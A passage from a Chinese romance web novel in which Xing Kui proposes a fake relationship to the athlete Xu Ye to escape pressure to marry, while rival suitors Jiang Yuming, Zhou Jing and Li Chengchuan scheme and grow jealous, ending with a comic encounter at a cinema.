男人情深永不变的承诺鬼都不信,邢葵本能避险,单纯欣赏身材拍拍照片还行。 许野撩衣裳慢吞吞,先前邢葵离得远,他撩得利索,可这会儿邢葵就坐在他身边。他干燥的指头掐住短袖下摆,在她的目光、香气中全然使不上劲。 好不容易撩起一点儿,邢葵期待睁眼,许野又蓦地放下:“你想好拍哪块没有?” “……咳咳。”一口气提到喉咙,邢葵没绷住,呛得咳嗽,“我,你,你是按块收费吗?” 许野:“啊?” 邢葵:“我说过我要付你报酬,你要按肌肉块数收的话,我得想想单价。” 许野一把抬起衣裳:“我没要收你钱!” 话落,他漂亮的、性感的、排列整齐的八块腹肌暴露在阳光下,小麦色,似蜜糖,如山峦起伏,大,又不夸张的大。 肌理分明,纵横的线条犹如用笔和尺精准量画。荷尔蒙泛在身体热气里,又欲又野。 假设一块腹肌一万,那邢葵大概要付十万,八万给腹肌,两万是小费。 大饱眼福,邢葵都瞧不好意思了,抬着手机,不知点哪处,让镜头聚焦哪处,一边按键一边保证:“你放心,我不会拍进你的脸的。” 一张照片约4MB,邢葵也就拍了400MB。 拍完抬头,才注意许野高高仰着下颚,浓眉大眼对准天花板,饱满的额头下,瞳仁失焦,凌厉的脸颊晕染绯红,快红成煮熟的龙虾:“你很热吗?要不我请你吃冷饮吧。” 热,却不是因为天气,许野胸口剧烈起伏几下,猛地站起来,椅子脚难听地划过地面,滋啦—— 滋啦——冷饮袋子撕开,超市门口,明亮的阳光中,许野咬断水蜜桃味冰棍的上半截,咬得咔嚓咔嚓响。 刚拍摄过程中邢葵经常无意识离得很近,许野快溺在蜜桃香气里,丧失思考能力,满脑子只有:不能当小四不能当小四不能当小四…… 邢葵震惊于许野牙口,见许野望过来,低头继续撕手中冷饮包装袋,边缘锯齿做得不好,不方便撕,许野直接从她手里夺过,一拽,包装脱离。 拆开的冷饮塞进邢葵手中,她人都是傻的:“你好厉害。” 许野:“不能当……什么?” 邢葵:“啊?不能当什么?” 该死,许野脸瞬间红成煮熟的龙虾,背过邢葵继续咔嚓咔嚓地嚼冷饮,不能当小四不能当小四不能当小四…… 不知道许野什么情况,邢葵感觉他还蛮有意思的,笑了笑,低头舔冷饮,再抬头,许野已经嚼完了,好像还是热,脸红红的,骨骼分明的手里还有两根冷饮,是她顺便送他室友的。 总共三名室友,那名锁她、现在正在被锁的室友不配有。 受到了惩罚,不代表邢葵就要原谅,全世界只有一个人能让邢葵包容:母亲。 母亲生养女儿,供女儿读书,母亲扫地、做饭、洗衣,照顾女儿方方面面,母亲在每一个挑灯夜读的夜晚温馨陪伴……母亲是一位懂事的女儿的最大弱点。 想到邢母,邢葵无声叹气,妈妈的确封建,可那是她出生、成长的环境导致的,假如今天读了十几二十年书的是邢母,她说不定比谁都开明。 但是没有办法,这不是一个玄幻世界,这里没有穿越,邢葵不可能穿回过去,去阻止当时不准母亲读书、让她十几岁就进厂的爷爷。 她只能尝试解决催婚。世上就不存在某种方法,既能让她在周镜和江玉鸣间端平水,又能解决她遭遇的催婚难题吗? 许野来了通电话,他手上拿着冷饮还有冷饮垃圾,不方便接,邢葵想到许野无偿帮她拍摄,献殷勤:“我来。” 手机放在许野军绿色运动短裤口袋里,邢葵伸手取出,本想递到许野耳边,仰头看见校霸风少年面红耳赤地盯着她,怪凶的,她弱弱,“那个,我开扬声器可以吗?” 许野大腿发痒,沉声:“嗯。” 扬声器一开,来电人的问候传出,属于一位中年男性:“许野,咋样?最近有减少训练吗?” 减少训练?问号从邢葵脑子里冒出,许野需要减少训练?可昨天她在操场看许野跑了很久。 许野对问题沉默,只喊了一声:“吴教练。” “肯定没有是不是?”电话那头,吴教练好似为此动气,“我说过很多遍了,一百米九秒八三,已经是非常优秀的成绩,你不用太过焦虑,过度训练只会损伤你的身体机能,你必须要减少训练。” 许野没回答。 吴教练 大声叹气:“哎!你说你,你不是上大学了吗?要不你去找个女生谈谈恋爱,放松放松。” 玩笑般的提议猝不及防,还是在邢葵面前,恰好戳中许野某种隐秘心思,他受惊,反应极大地去关电话,手上拿的冷饮都砰地掉地上。 邢葵却陡然攥住他的手腕。 “行了,就这样,记得一定要减少训练,我过两天再打电话给你检查。” 手机屏幕上,通话中的标识变成通话结束的标识,邢葵亮着眼睛紧紧盯着许野:“要不我们谈恋爱吧,我是说,假的恋爱!” 许野震惊到失去表情。 邢葵展开说,“网上不是流行什么租男友租女友服务吗?租他们提供情绪价值,你正巧需要一位,但是网上租不知道会招来什么牛鬼蛇神。” 她抬手指向自己,“我,特别好!” 她神情认真,“刚好你帮我拍那么多照片也没要钱,就当给你报酬了,我不额外收费,我帮你缓解焦虑,我,特别特别好!” 能有假的结婚,当然也能有假的恋爱。这样既能短暂中止她家里催婚,又顺遂周镜心意,也不会惹怒江玉鸣,甚至还帮助了许野。 天呐,她可真是位端水大师! 不知道邢葵和厉乘川没谈过恋爱、不知道邢葵失忆忘记厉乘川、以为邢葵还在跟周镜交往的许野:“……” 一霎那,他头差点炸掉,两瓣偏深红的唇肉打起架,瞪大眼睛,粗眉挑起,浑不敢信他听见了什么,当场都发不出声。 厉哥的未婚妻、周哥的女朋友,他竭力遏制心动的初恋对象,问他要不要谈恋爱——爱爱爱爱爱?! 他不能当小四! 邢葵见许野从面无表情到满脸惊骇,抓抓后脑勺头发,想再补充讲一讲,她也有恋爱需求,他俩属于各取所需。 嘴还没张,许野先发问:“那周哥呢?” 邢葵答:“他完全ok啊。” “!”许野惊,“那厉哥呢?” 邢葵再答:“他是管东管西的,有点麻烦,咱们可以瞒着他。” “!” 她说得不妥当吗?邢葵不解,看见许野连颈项上的皮肉都抖颤起来,脖子也往后提,这是一种防御性的反应。 她想再讲讲,怎料,许野拔腿就跑。 “喂!”她还有话没讲完呢,邢葵抻长脖颈,手贴在嘴巴两边,高声喊,“我会再联系你,你好好考虑啊!” 唰地,许野又如一把飞箭窜回来,弯腰捞起地上先前掉落的冷饮和冷饮垃圾,仰起年轻凶悍的脸,急匆匆望了她一眼,眸中复杂难绘,眨眼又奔走。 “记得啊!” 还知道回来捡垃圾,邢葵看着恢复干净的地面,扬了扬嘴角,明明生了副会把人头拧掉的校霸样儿,她点开手机相册,看今天拍到的素材。 一张腹肌图,缩小,小红书编辑页,邢葵靠在家里的电脑椅上,手指抵上唇思索标题文案,时不时点点手机。 全平台更新完成,邢葵坐直,拿起塑料勺,吃电脑桌上她打包带回来的炒饭,吃完晚饭收拾垃圾,拿上换洗衣服进卫生间洗澡,再出来,手机里全是信息。 她有个叫“惹我的人娶不到老婆^_^”的粉丝,看到了她账号更新的内容,联系她。 【老婆!要警惕肌肉男!!!!】 【老婆,研究表明,肌肉男,坏。】 【老婆,你不要梁君赫了吗?他已经回组了,你看看新闻,我去给你找。】 【(新闻链接1)】 【(新闻链接2)】 【(梁君赫微博打篮球九宫格)】 【哎呀,发多了,一不小心把打篮球的照片也发给老婆了,老婆,帅不帅?】 【狗狗星星眼.gif】 这个人,还真是梁君赫死忠粉,无比刻意地给她安利,一连发了几十条消息。 邢葵无奈笑,回了个“竖大拇指”小表情,对方兴奋得不得了,给她回起甜甜的表情包。 末了还要加上一句:【肌肉男,nonono,梁君赫,赞赞赞。】 妈呀,梁君赫是开她工资了吗?邢葵无法理解,放下手机去找吹风机吹头发,因为这位甜甜的粉丝心情很不错,也因为白天找到了新的缓解催婚压力方法。 接下来,只要说服许野同意…… 外面传来开门声,是江玉鸣回来了,他本来没邢葵家的钥匙,今早死皮赖脸缠着邢葵讨了一把。 听到声音,邢葵连忙赶去门口:“江玉鸣!你暂时不用帮我找契约结婚对象了,我跟你说件好事!” 江玉鸣顿足:“哦?” 邢葵无意隐瞒,周镜和江玉鸣一边争去,别往她身上浇火,一五一十交代,很满意端平了所有人的水,看江玉鸣的眼神写满了:夸我!夸我!快夸我! 江玉鸣:“所以周镜要膈应我。” 邢葵:“嗯嗯。” 江玉鸣:“你还同意了。” 邢葵:“我没啊,假的恋爱又不是真的!等等,你不会这样也生气吧?” “你觉得呢?葵葵,你知道这件事说明了什么吗?”江玉鸣走近她,脱下白色领口绣玫瑰花的衬衫外套,挂到玄关衣帽架。 “周镜真是个小心眼,我又没对你做什么,他就醋得要引入别的男人对付我,你可千万不能再对他动心。” 噢噢,江玉鸣的意思是,他不小心眼,那邢葵就放心了。 倏地,邢葵的腰被搂住。 “来,宝贝,让我们做些会让周镜气疯的事。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 还说他不小心眼!他都快气疯了! 单手环在腰间修长的双臂暖烘烘,江玉鸣分出一只,比正常男性要长的手捧起邢葵脸颊,昳丽缱绻的眸子凝视她,大拇指在她的脸颊摩动,如夏季闷热的风拂面。 他低头接近,邢葵以为江玉鸣要含怒吻她,想说点好话顺顺老虎毛,他却猝然抬高她的脸,一口叼住了拉长的颈项中心。 “唔。”这样她怎么讲话! 裹挟怒气的舌舔上她的脖颈,江玉鸣用力地扫刮,控住她发音的地方,不允许她再说一个字。 他真快气炸了,周镜那个贱人,人在一万八千公里外的里约热内卢都不安分,居然借邢葵想解决催婚的心理,引入许野攻击他。 他答应会不痛快;不答应,邢葵不痛快,他也会不痛快。 好阴险的手段,江玉鸣恨不得今晚就坐飞机过去揍周镜一顿。显然这也会称周镜的心,谁要将邢葵独自留在家,隔壁就是对她虎视眈眈的厉乘川。 邢葵难以讲话,难受得紧,反复去揪江玉鸣衣裳,今天江医生穿的是白色短袖配衬衫外套,外套进门已经脱掉,隔着单薄短袖能触碰到他的腹肌线条。 手指顺着线条往上,一掐。 江玉鸣闷哼,舔刮她的脖颈的红舌一停,接着,一路向上迅疾吻到耳垂:“葵葵,掐得我又痛又兴奋。” 不待邢葵出声,江玉鸣径直捕捉住她的唇瓣,方才在颈间作乱的舌,将玫瑰芳香洒进舌齿每一处,压着她,卷着她,让唇和唇严丝合缝,不容任何字音泻出。 充满侵略性的吻封闭不透风,邢葵肺活量差,大脑都缺起氧,放开,放开……江玉鸣似提前算到她的极限,在她真承受不住前,轻柔了动作。 总算能呼吸,邢葵推搡江玉鸣,脱离他的禁锢,弯腰按住膝盖大喘,好一会儿才具备说话能力,站直愤怒:“你生什么气嘛!” 南方人讲话习惯性加语气词,吵架欠缺气势,邢葵意识到,立刻追加一句,“去掉‘嘛’。” 刚刚她差点窒息,怒瞪着江玉鸣,江医生艳丽无双,是好看,和他接吻如梦似幻,也很好,但要伤她,不行。 她决定小发一下雷霆。 “有什么值得气的,你又不是第一天知道,我的目标是解决催婚,当初我接近你是因为这个!听你的去接近周镜也是因为这个!现在周镜建议我和许野谈恋爱,我愿意也是因为这个! 这件事,我第一次亲你的那天就告诉你了!” 她气呼呼地倾述,表达初心,边说边喘,活像“啵啵啵”吐泡泡的小金鱼,是啊,她对江玉鸣还真就坦坦荡荡,无可置喙。 邢葵抬脚要踹江玉鸣,江玉鸣一掌摁住她冰凉的大腿,眼睛笑成弯月牙:“你看看,周镜真贱,居然惹恼我们葵葵。” “?”再说一遍,她是因为谁恼? 炽热的手掌按在她的腿,长长的五指按陷腿肉,邢葵又羞又恼,“江医生,我清楚,你在给我找契约结婚对象,可不能你一天找不到,我就等你一天,我也要自救的,你到底什么想法,说,别让我猜。” 江玉鸣只是笑。 邢葵于是伸臂捏住他的耳朵,“不说把你耳朵都拧掉!” “你如果恋残,可以拧掉。”江玉鸣往她拧耳朵的手方向歪头,迷人的脸贴到她的手心,仿佛将他交由她掌控,“可以,我支持你,去找许野吧。” 哇!邢葵整张脸都变得明亮。 “高兴了?”江玉鸣蹭蹭她的手心,在内心摆放了一张周镜照片,并用手术刀刺啦划开。 周镜老谋深算,要他和邢葵因此龃龉,他绝不会让周镜称心如意。 许野,年轻赤诚,有着极高的被邢葵喜欢上的风险,但比起这个风险,江玉鸣更不想和邢葵产生嫌隙。 横竖只是恋爱,即使是结婚,谁说笑到最后的就会是许野了? 只能说,周镜高估了江玉鸣的素质,低估了江玉鸣的脸皮,别人会抗拒做小三,他衣服一脱直接上去勾引。 比如现在,江玉鸣也很不要脸,一见邢葵展颜,他摁在她大腿的五指微缩,红唇张合,将热气扑洒在邢葵掌心:“看在我这么乖,要不要奖励奖励我呀?” 邢葵要点头,吸收着空气中的氧气,逐渐疏通的大脑隐隐约约察觉不对。 她顾及江玉鸣感受,纯粹是她有良心,她完全能不用在意,为什么要因为江玉鸣选择支持,就奖励他? 好啊,忽悠她跟他贴贴是吧! “不行么。”江玉鸣靠到她的唇边,狭长风情的眼眸与她相视,“好葵葵,你都纵容周镜膈应我了,也帮我膈应膈应周镜吧。” “你,我什么时候纵容了?” “那你纵容一下我好不好?”江玉鸣轻轻地啄了她一口,随即几乎贴在她的唇上,用他塞壬般魅惑的嗓音诱惑,“你不觉得,我的舌头很长吗?” 不是一般的长,还灵活,邢葵严重怀疑他能给樱桃梗打结,等会儿,长跟奖励有什么关系? “会很爽的,葵葵。”他蹲下来。 邢葵瞪大眼,头皮瞬麻,亲密触碰,羞耻感让她抓住江玉鸣的头发,爽感让她绷直脚背,刚洗过澡的脚背青筋直冒。 睡着的时候邢葵都在想,江玉鸣舌头,真长啊。 暖黄的月光照在家里,江玉鸣摸摸入睡的邢葵脸蛋,拿着手机下床,走进别的房间,先编辑了下备忘录,将“10/40”改成“12/40”,随即拨打跨国电话。 周镜声音传出:“有事,说。” 江玉鸣微笑:“谢谢我的好兄弟,我舔到了。” 周镜:“……”他所在的地方是下午,清冷的眸子看了眼会议室内委托方和律所的人,周镜点点腕表,抬手比五,示意大家等待五分钟,移步出门,神色凛寒,“你真无耻。” 江玉鸣遥望窗外月,弯唇:“谢谢夸奖,你也很贱。” 周镜步到走廊窗前:“跟你比,愧不敢当。” “客气客气,你当之无愧。” 两位好兄弟彼此“恭维”着,偷窃着另一位好兄弟心心念念的未婚妻。 两个地点,两扇窗户,一白昼一黑夜,日光月光分别照着两人高挑身躯,分别在地面投下黑长影子。 夜窗前,江玉鸣眼神深深,尖长的舌尖舔了下唇肉,好似还在回味邢葵香甜:“提议许野,想看我和葵葵闹,想让我和你对比,我偏不如你的意。” 都能想象到周镜和邢葵建议时的状态,冷静、条理清晰、言辞大度,哄得邢葵翘嘴甜笑,实则暗地无形地在邢葵心里给他自己加分。 这种情况下,假如江玉鸣发火,与周镜一比较,立即便会大大减分,甚至永久减分。 周镜打得一手阴间算盘,他的危险了无痕迹,若非江玉鸣智商情商都不低,在邢葵面前为人也伸缩自如拉得下脸,今天差点就中了周镜冷箭。 至于提议许野…… “你很自信吧,我的好兄弟。” 自信赢到最后的人会是他,江玉鸣拉开嘲讽的笑,“小心翻车,你未必赢得过许野,不要小瞧了咱们这位弟弟。” 周镜皱眉。 江玉鸣结束冷嘲热讽,“挂了,葵葵体质差,一个人在床上容易手脚冰冷。” 长指收起电话,最近的经历一幕幕回放。 起初,邢葵想请许野拍素材,意外被关篮球馆,厉乘川相救,得知此事吃醋逼近。 接着,江玉鸣了解到情况,也吃醋,甚至在周镜打电话来时恶劣挑衅,以彰显他在邢葵身边地位。 最后,周镜同样吃醋,往邢葵身旁引入第三人许野。 可以说,今天这局面,由厉乘川、江玉鸣、周镜三个人接连吃醋造就。 曾几何时,他们三人或警告或利用或算计许野,致使许野被迫远离邢葵,现如今他们三人又“联手”,将许野送进了邢葵视线。 堪称搬起石头砸自己的脚,假如许野最终上位,横竖江玉鸣脸皮够厚,但厉乘川和周镜得孤枕难眠吧。 又有好戏看了,江玉鸣向房门走去,愉悦地哼着歌走出房间,讥讽周镜自信,他的自信也不遑多让。 男生宿舍的门打开,许野的室友冲进屋子,打了个响亮的喷嚏:“阿嚏!冷死我了,电影院空调温度也开太低了吧!” 寝室是上床下桌,许野坐在床上,长且强劲的腿一只曲着,听到声,闭着的深褐色眼睛睁开,瞥向下方。 除了许野,三名室友都在下面。 一名是关邢葵的自以为是男,长相尖嘴猴腮,名叫张威;一名喜好捧哏逗趣,是室友中的和事佬,年纪轻轻眼角就皱纹叠叠,名叫彭鹏。 还有一名听信高中老师“考上大学想怎么玩怎么玩”的谎言,成绩极烂但有女朋友,寸头瘦子,名叫程强。 “早知道不跟我宝宝去看电影了。”刚冲进寝室的正是程强,他才跟女朋友看完电影回来,半边脸庞五道红痕,貌似是巴掌印。 好嘻哈逗趣的彭鹏立马抱住椅背调侃:“呦,人美女终于忍受不了你要和你分手了?” “呸呸呸,少讲晦气话,都怪那电影,简直史上最大诈骗,说什么情侣必看,结果居然讲什么小三才是真爱。” 程强怒气冲冲坐下来,咚地捶了下床下木桌,“我宝宝看完,瞅我这个正牌男友特别不爽,谢幕还没结束就呼了我一巴掌。” 小三才是真爱? 床上的许野耳朵悄悄竖起来,展开讲讲。 小三,怎么个真爱法? “哪有那么夸张。”彭鹏显然了解过这部电影,“人电影讲的是一对相处得不怎么样的情侣,遭遇七年之痒,然后女方遇到灵魂伴侣,和他happyending。 你女朋友打你,一定是发现你跟电影里的原男友有共同点。” “你胡说八道,我能有那男的废物?吃女朋友的住女朋友的,我可没这样。”程强骄傲昂头,“我从来不用我们家宝宝的钱。” 彭鹏哈哈嘲笑:“你大一就要重修,再摆烂下去未来没差啦。” 程强:“你胡说八道!靠,我今晚就头悬梁锥刺股,挑灯夜读,谁也别拦我!反正这电影真恶心,小三是个屁的真爱。” 高处床上,许野抓紧了弯曲的膝盖。 “你这纯属情绪化的发泄啊。”彭鹏反对程强,“男方待女方不好,女方和别人是真爱不正常?难道要和不合适的人委屈一辈子?” 许野抓膝盖的手指松开一些,此时正 有沉重的包袱压在他心里,彭鹏的话就像是在卸那些包袱,一个包裹丢了,又一个包裹丢了…… 手指从膝盖缓缓下滑,不留神砸到床边围杆,铛地一响,床下程强和彭鹏都望过来。 许野坐在高处,蜜糖般的脸绷着,在他们的视线中表情格外严肃,几秒后张唇吐出一个字:“对。” 啥子对?对啥子东西?两人刚想追问,许野已经躺下-身体,大手掀起被褥,睡觉去了。 对,不好好珍视女方的男方,不配做女方的良人。 黑不溜秋的被窝里,手机悄无声息亮起,被认为睡觉的许野点开实时电影榜单,滑找到程强去看的那部电影,《恋恋哀歌》。 是近期的大热门,暂被列为2027最浪漫国产电影No.2,影评区长评多到数不清,按热度排序,第三条的标题赫然是:列数渣男的十大罪状。 许野不受控制地点开。 一、谎言随口就来。 ——周镜是律师,有必要的时候,他能面不改色撒谎,特征,符合√ 二、态度忽冷忽热。 ——刚把人追到手周镜就出国,热恋期抛下女友,冷漠冷酷冷血无情,特征,符合√ 三、比起女友生命更在意金钱。 ——周镜为了区区几个亿的工作,竟委托江玉鸣照顾邢葵,江玉鸣是什么东西,他就是个爱看人笑话的坏种,真是不在乎邢葵死活,特征,符合√ …… 十、吃女友的,住女友的,到头来说“我为你付出那么多”。 ——小蛋糕那么美好,光是站着都算付出,周镜绝对付出的没小蛋糕多,特征,符合√ 十条罪状滑到底,许野惊讶得嘴巴张开,莫非是周镜兄长的身份蒙蔽了他的眼,他头一回发现,周镜竟是位不合格的渣男! 周镜是位好哥哥不假,但是对邢葵,是真不行,怎么做到十大渣男特征每一条都对上的,不可思议。 许野靠上枕头,握着息屏的手机,想起邢葵邀他谈恋爱,梁君赫说,当四臭不要脸,其实当四没那么糟吧……如果邢葵过得不开心……邢葵值得跟会视她如珍宝的人在一起…… 打住,还有厉哥呢,厉乘川还没死。许野掀被盖头。 洗净的绿色床单盖上晾晒架,绿叶黄花的向日葵花纹随风荡漾,江玉鸣站在阳台,上翘的眼眸睨向旁边厉乘川家的阳台,勾起唇角转身。 厉乘川的衣物都由专人专洗,他从不来阳台,因此也就撞不见他有位要好的兄弟,正在他认定的未婚妻家里,为她清洗床单,还是好兄弟本人弄脏的。 客厅里,邢葵躺在沙发上,扫昨天发的腹肌帖得到的反馈,非常不错,以小红薯为例,不到二十四小时已破千赞。 就是总有人骂她,她配文分享的奇妙冒险都是真实故事,顶多省略或适当修改了些细节,却总有人讽刺她无下限乱编云云。 退一万步说,哪怕是编的,现实有时候比编的故事更荒谬呀。 也有好评,邢葵捂着眼睛,从手指缝隙看,一瞥到恶评速度上滑,一瞥到好评慢慢阅读,防止有人会问她问题之类的。 有一种情况特别讨厌,某些评论看着像好评,却在结尾加个狗头小表情,重读评论才能意识到字里行间都是蔑视。 邢葵这会儿就不小心中了招,唇角不高兴地抿起来,以她品性,不太能理解这些人为何能对陌生人如此大的恶意。 一只温暖的手叠上她捂眼睛的手,江玉鸣站在沙发边,曲着腰,好听的声音落到她耳边:“我删掉它咯?” 从前江玉鸣帮邢葵删过虚假的朋友,当时他没征询邢葵意见,因为那时的他不关心邢葵想不想,只要他自己知道删掉对邢葵好就够了。 如今的江玉鸣在潜移默化改变,删条恶评,都会下意识先询问。 邢葵买的洗衣凝珠是水蜜桃味,清澈的桃子香透过江玉鸣刚洗过被单的手往她呼吸里钻,她连嗯两声,勾住江玉鸣手:“我要拉黑这个人。” “好。”江玉鸣利落搞定,邢葵心里刚生出稍许感动,他长长的手指就往下移,“那要不要给我奖励……” 啪!她凶猛给了江玉鸣一掌:“上班去!” 真是个不知害臊的家伙,给架梯子他就要登天,邢葵放话赶人,甩甩手,重新看手机,救命恩人是八块腹肌男大的主题很吸引人,假恋爱的主题也适合发自媒体。 毫无疑问,假如许野同意,她将得到大量素材,只要许野同意…… 昨天她有话没讲完。 许野溜得堪比森林中狂奔的野豹,一眨眼就消失无踪,她都没来得及跟他说,她同样有假恋爱需求,也没来得及说,她跟周镜早就分手,他不用有多余心理压力。 要不再约许野见一面?要不她先带他感受一下恋爱的氛围?兴许这样他就愿意点头了……情侣能做什么……要不她约许野去看电影? 想到就干,邢葵发挥超强行动力,点开购票软件,找到正在热映排行榜中当前票房最高的爱情电影,迅速选购两张挨着的座位票。 发给许野:【那个,你想不想去看电影呀?(截图)】 正在食堂吃早饭的许野,点开电影票截图,瞥见昨夜他熬夜刷看影评的电影名,《恋恋哀歌》,一口小米粥噗地喷出来。 这可是一部讲小三才是真爱的电影。 而与此同时,邢葵的手机号码一购票成功,她的动向就被层层向上传递,鼎天大厦,助理陈泉疾奔过走廊,焦急敲响总裁办公室的门。 得到准许,陈泉猛地推开门:“厉总,邢姐在咱们百货商场的电影院买了两张电影票,两张!情侣必看电影票!” 他飞快讲完,见坐黑皮椅上的厉乘川表情不对,嘴巴都赶不及合上,疾速追加说辞,“厉总,我猜邢姐一定是想请你看电影!前段时间您不是赶去帮她了吗?邢姐一定是想借此感谢您啊!” 厉乘川怔然,脸色乌云转晴。 第52章 京江鼎天百货,三楼。 商场采用环形中庭设计,邢葵站在电影院门口,能扫见上面楼层和下面楼层的店铺、人流,不乏男士用品商店。 她还真有想过要还厉乘川恩情,譬如买点礼物之类的,但那天厉乘川明确说了“不用”。 一般来说,不能别人说“不用”就真不用,可是江玉鸣听说后,非常笃定地告诉她:千万别,厉乘川是说一不二的人,不听他的只会惹怒他。 江玉鸣的话,可信度要打问号,邢葵狐疑地又去咨询了周镜,结果周镜也是同样说法:厉乘川从不浪费时间婉转,说一就是一。 那看来这位邻居兼房东是真不需要她还恩。 邢葵收回看男士用品店的视线,电影院东西两面墙立着时下在映的电影海报架,有多个黑衣人打斗的动作片,有主演呲牙花笑的喜剧片……还有她买票的这部爱情片《恋恋哀歌》。 许野说了会过来,她在等他。 《恋恋哀歌》的海报,是女主抱着一个男的,和这个男的背后的另一名男性对视。 中间偏下的位置有一句宣传语:我等待着,被触碰灵魂。 一杯奶茶递到她身前,抓着奶茶的小麦色手看着力量感熊熊,邢葵都怕许野把奶茶捏爆,她看向她等来的许野。 现在是四月将近五月份,今日最高温度二十六度,许野身材高大,穿着钴蓝色羽绒服,羽绒服?! 立领蓬松的羽绒服遮挡他的脸庞、掩盖他的身形,他戴着帽子、口罩,裤子也是蓬蓬的棉裤,整个一个全副武装,活像小三来偷情。 邢葵被震在原地三秒钟,不敢相信眼睛看到的:“你不热吗?” 答案显而易见,帽子压下的碎发贴在许野额头上,湿哒哒的,他脸部露出来的皮肤全都光泽粼粼。 热啊,还能怎么办啊,这里是厉乘川名下的商场。邢葵是不了解厉乘川身份吗?怎么敢在这里约他? 为不让他和邢葵的见面 传到厉乘川耳里,许野甚至找室友借了衣服,他平时不穿钴蓝色。 “你穿蓝色还挺合适的。” 那他平时也可以穿,啊不是,许野把奶茶塞给邢葵:“拿着。” 邢葵注意到他只买了一杯:“谢谢,你不喝吗?” 奶茶杯身有“GPROMISE”的logo,说明它出自金诺言家,不看标签,光看样子也知道,这是金诺言的王牌产品:“云海生梦”。 是一款海盐芝士蛋糕奶茶,要三十几一杯,据说特别好喝,邢葵以前想试试但因为价格却步,没想到命运让它以这种形式来到了她手上。 “我不喝,控糖。”捂得严严实实的许野说道,看得出他想酷酷地把手插到口袋里,但羽绒服口袋着实太热,他的手指在口袋边缘磨蹭好几下,最终垂到腿边。 “年纪轻轻就控糖啊?”邢葵几乎不主动管别人闲事,对许野二十六摄氏度的天穿羽绒服的奇怪行为好奇,但不会多问。 不过和假恋爱有关的事她得在意,那天她听到了许野教练的话,许野在运动成绩上极为焦虑。 控糖也是因为这点吧,但昨天她请他吃冷饮他倒吃挺快的,怪哉,“电影要开始了,要不我们边走边讲假——” 许野:“我来不是要——” “邢葵!”透着严厉的、属于厉乘川的低沉声音从邢葵右方、许野右方传来。 许野脸色骤变,邢葵也头皮发麻,为什么她的邻居兼房东厉乘川会在这里! 她侧过脸,隐约能看见厉乘川正在过来,双方之间还隔了一堵墙,看不太清,看不太清? 邢葵脑海一亮,想必从厉乘川的角度,能看见完整的她的侧面、不完整的海报和不完整的许野的侧面。 她立刻给许野使眼色:你,躲海报后面去。 许野听话后退,在厉乘川的视线死角拐弯,转进那张《恋恋哀歌》的海报后。 海报上,女主抱着一名男性,看着另一名男性。 海报外,邢葵看着厉乘川,身后藏着许野。 “刚才那人是?”厉乘川步到邢葵面前一米远停下,得益于许野的离谱扮相,他在远处没认出他兄弟。 邢葵紧张得攥奶茶,抓到灵感,抬起奶茶:“外卖小哥!” 究竟是外卖小哥,还是邢葵手上第二张电影票的主人? 糟糕了——海报后,许野抬起头,邢葵是真不清楚这家商场是厉乘川的吗?厉哥一调监控就能查证出,他不是送外卖的! 更糟糕了——厉哥一调出电影院监控,也能看到此时此刻他正躲在这儿! 许野懊恼得肠子发青,他第一反应去听从邢葵的话,都忘了这一点,奇怪,邢葵怎会不了解厉哥身份,他俩不是曾经差点领证吗? 海报前,一无所知的邢葵还在打哈哈:“好巧哦,房东,你怎么在这儿?你也来看电影吗?你看哪一部啊?” 厉乘川黑瞳直勾勾盯着她,落在她脸上的视线始终冷幽幽的,她心虚得说不下去,还得硬着头皮说。 少顷,厉乘川薄唇嘴角一动,是笑,却不是一个愉悦的笑。锋利的眸子低下,他注视向她手上抓的两张电影票:“约谁看电影?” 邢葵张开的嘴被按下暂停键。 海报后,许野也屏住呼吸。 厉乘川看着邢葵回答不出来的样子,垂在西装裤边的手指蜷了蜷。 方才那个高个子男人到底是不是送外卖的,答案,他调出电影院外的监控就能得知。 他甚至不用去监控室,只消站在这里,一通电话,一分钟之内,他就能查证邢葵有没有对他撒谎。 只是他不想查,而已。 只要他不查,邢葵就没有对他撒谎。 “我约你看电影啊!”骤然,邢葵小机灵脑筋急转弯,扬高轻柔的声音喊道,两只钝圆清澈的眼睛布灵布灵地望着厉乘川,写满真诚。 撒谎! 早些时候,厉乘川就收到邢葵买了两张电影票的消息,陈泉说,或许邢葵是想请他看电影表示对之前事件的谢意,说实话,厉乘川不认为有这个可能。 但他还是不免期待,结果后来几个小时他的手机都没等来邢葵联系,如今电影即将开始,邢葵说是约他看电影,他能信吗? 邢葵真正约的人,十成十就是刚刚逃跑的人,那个人是谁?周镜越过他的眼线回国了?还是又有别人接近了邢—— 冷绵绵的五指握住厉乘川手腕,封印他的思考能力,邢葵向他靠近两步,仰着她干净的脸蛋,万分真诚:“其实我一直想感谢你那天赶过来救我。 但你说不用我还恩,所以我买了电影票又陷入纠结,不知道该不该跟你说,没想到会在电影院遇到你,真是命中注定,你、你愿意跟我看场电影吗?” 我愿意,不论富裕贫穷、疾病健康……直到生命尽头…… 注视着厉乘川的这张脸是如此真诚,如同清甜的山泉水,让人想饮啜一口又一口,邢葵说不定,没骗他。 是他自己多想了。 他怎么能怀疑她,她都说他跟她是命中注定了! 厉乘川黑眸倒映着心上人,无条件地盲信她,紧张得紧咬后槽牙,邢葵握着他的手腕,皮肤相贴的触感引起电流,震向全身,其它肢体全都使不上力气。 半晌,他才控制着优越的下颌向下点了点。 “那太好了!那我们快去吧!”邢葵拉着厉乘川就快步走向检票口,没想到房东这么好忽悠,她要是忽悠他这个月没钱交房租,是不是也能不用交啊。 就是想想啦,恶事她才不会做,邢葵步伐快速,急于带着厉乘川远离许野躲藏位置,都快跑了起来。 “慢点走,小心腿。”厉乘川随在后面,控制着他的步速配合邢葵,让她不至于因为他过快过慢而不适,紧抿着的嘴角压着宠溺的笑。 两人检票,一齐走向昏黑的电影院内,比成年男性还高的《恋恋哀歌》海报后,许野站姿笔直望着他们,褐瞳一眨不眨,心跳一跳不跳。 厉哥占有了属于他的电影票,他的。 他从海报后走出,近乎是被本能驱使,抬起手机镜头扫电影院贴墙上的小程序二维码,点进即将开幕的电影。 最好的座位没了,最后一排还有空位。 “我猜他在买电影票。” 从西边三楼电影院门口跨越中庭,东边四楼店铺里,江玉鸣举着手机,拍摄着对面下一楼层的场景,腿比店铺陈列出的树脂模特还长。 眯着上翘的眸子,玩味地勾着唇笑,一张称得上女娲毕设的脸颠倒众生,将店铺玻璃墙海报上的男明星比成普通小厮。 “你很无聊。”周镜的嗓音。 “我无聊吗?也不知道是谁那边凌晨四点,也要接我的电话,看我给他直播。” 手机屏幕上,周镜看着镜头,背景是凌晨四点昏蓝色的室内。 